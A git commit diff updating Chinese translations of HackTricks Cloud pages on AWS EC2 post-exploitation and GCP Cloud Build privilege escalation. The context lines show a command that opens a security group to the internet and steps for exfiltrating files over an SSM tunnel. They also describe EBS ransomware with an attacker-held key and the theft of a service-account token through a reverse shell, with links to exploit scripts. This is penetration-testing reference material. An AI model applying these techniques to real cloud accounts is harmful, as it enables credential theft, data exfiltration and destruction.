Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-08-18 14:56:45 +00:00
parent d9146ae4e5
commit da2d24068c
2 changed files with 11 additions and 11 deletions

View File

@@ -12,7 +12,7 @@
### **恶意 VPC 镜像 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无需在实例上安装任何东西。复制的流量通常会发送到网络入侵检测系统 (IDS) 进行分析和监控。\
VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无需在实例上安装任何东西。这些复制的流量通常会发送到网络入侵检测系统 (IDS) 进行分析和监控。\
攻击者可以利用这一点捕获所有流量并从中获取敏感信息:
有关更多信息,请查看此页面:
@@ -74,7 +74,7 @@ aws-ebs-snapshot-dump.md
### 开放安全组
你可以通过打开端口来进一步访问网络服务,如下所示
你可以通过打开端口来进一步访问网络服务,如:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
@@ -139,19 +139,19 @@ aws ssm start-session --target i-0123456789abcdef0 \
常见用例:
* **文件外泄**
1. 在实例上启动一个指向您想要外泄的目录的快速 HTTP 服务器:
1. 在实例上启动一个指向您想要外泄的目录的快速HTTP服务器
```bash
python3 -m http.server 8000
```
2. 从您的工作站通过 SSM 隧道获取文件:
2. 从您的工作站通过SSM隧道获取文件
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **访问内部 web 应用程序(例如 Nessus**
* **访问内部Web应用程序例如Nessus**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -284,7 +284,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
类似于 S3 勒索软件的例子。这次攻击将使用快照创建附加 EBS 卷的副本,使用“攻击者”账户中的公开可用密钥加密新的 EBS 卷,然后从 EC2 实例中分离原始 EBS 卷并删除它们,最后删除用于创建新加密 EBS 卷的快照。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
类似于 S3 勒索软件的例子。这次攻击将使用快照创建附加 EBS 卷的副本,使用“攻击者”账户中的公开可用密钥加密新的 EBS 卷,然后从 EC2 实例中分离并删除原始 EBS 卷,最后删除用于创建新加密 EBS 卷的快照。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
这导致账户中只剩下加密的 EBS 卷。
@@ -365,7 +365,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
]
}
```
请稍等直到新设置的密钥策略传播完成。然后返回到“受害者”账户尝试附加一个新加密的EBS卷。你会发现可以附加该卷。
请稍等,直到新设置的密钥策略传播完成。然后返回到“受害者”账户,尝试附加其中一个新加密的EBS卷。你会发现可以附加该卷。
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)

View File

@@ -12,12 +12,12 @@
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
通过此权限,您可以**提交云构建**。cloudbuild 机器的文件系统中**默认会有 cloudbuild 服务账户的令牌**`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。但是,您可以在 cloudbuild 配置中**指示项目内的任何服务账户**。\
因此,您可以让机器将令牌外泄到您的服务器,或者**在其中获取反向 shell 并获取令牌**(包含令牌的文件可能会更改)。
通过此权限,您可以**提交云构建**。cloudbuild 机器的文件系统中**默认会有一个 cloudbuild 服务账户的令牌**`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。但是,您可以在 cloudbuild 配置中**指示项目内的任何服务账户**。\
因此,您可以让机器将令牌外泄到您的服务器,或者**在其中获取一个反向 shell 并获取令牌**(包含令牌的文件可能会更改)。
#### 通过 gcloud CLI 直接利用
1- 创建 `cloudbuild.yaml`使用您的监听器数据进行修改
1- 创建 `cloudbuild.yaml` 并用您的监听器数据进行修改
```yaml
steps:
- name: bash
@@ -32,7 +32,7 @@ logging: CLOUD_LOGGING_ONLY
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### 使用 python gcloud 库
您可以在 [**GitHub 上找到原始利用脚本**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)(但它获取令牌的位置对我不起作用)。因此,请查一个脚本以自动化 [**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 和一个 python 脚本以在 cloudbuild 机器内部获取反向 shell 并 [**窃取它**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)(在代码中您可以找到如何指定其他服务帐户的方式)**。**
您可以在 [**GitHub 上找到原始漏洞脚本**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)(但我无法使用它获取令牌的位置)。因此,请查一个脚本以自动化 [**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 和一个 python 脚本以在 cloudbuild 机器内部获取反向 shell 并 [**窃取它**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)(在代码中您可以找到如何指定其他服务帐户的方式)**。**
有关更深入的解释,请访问 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)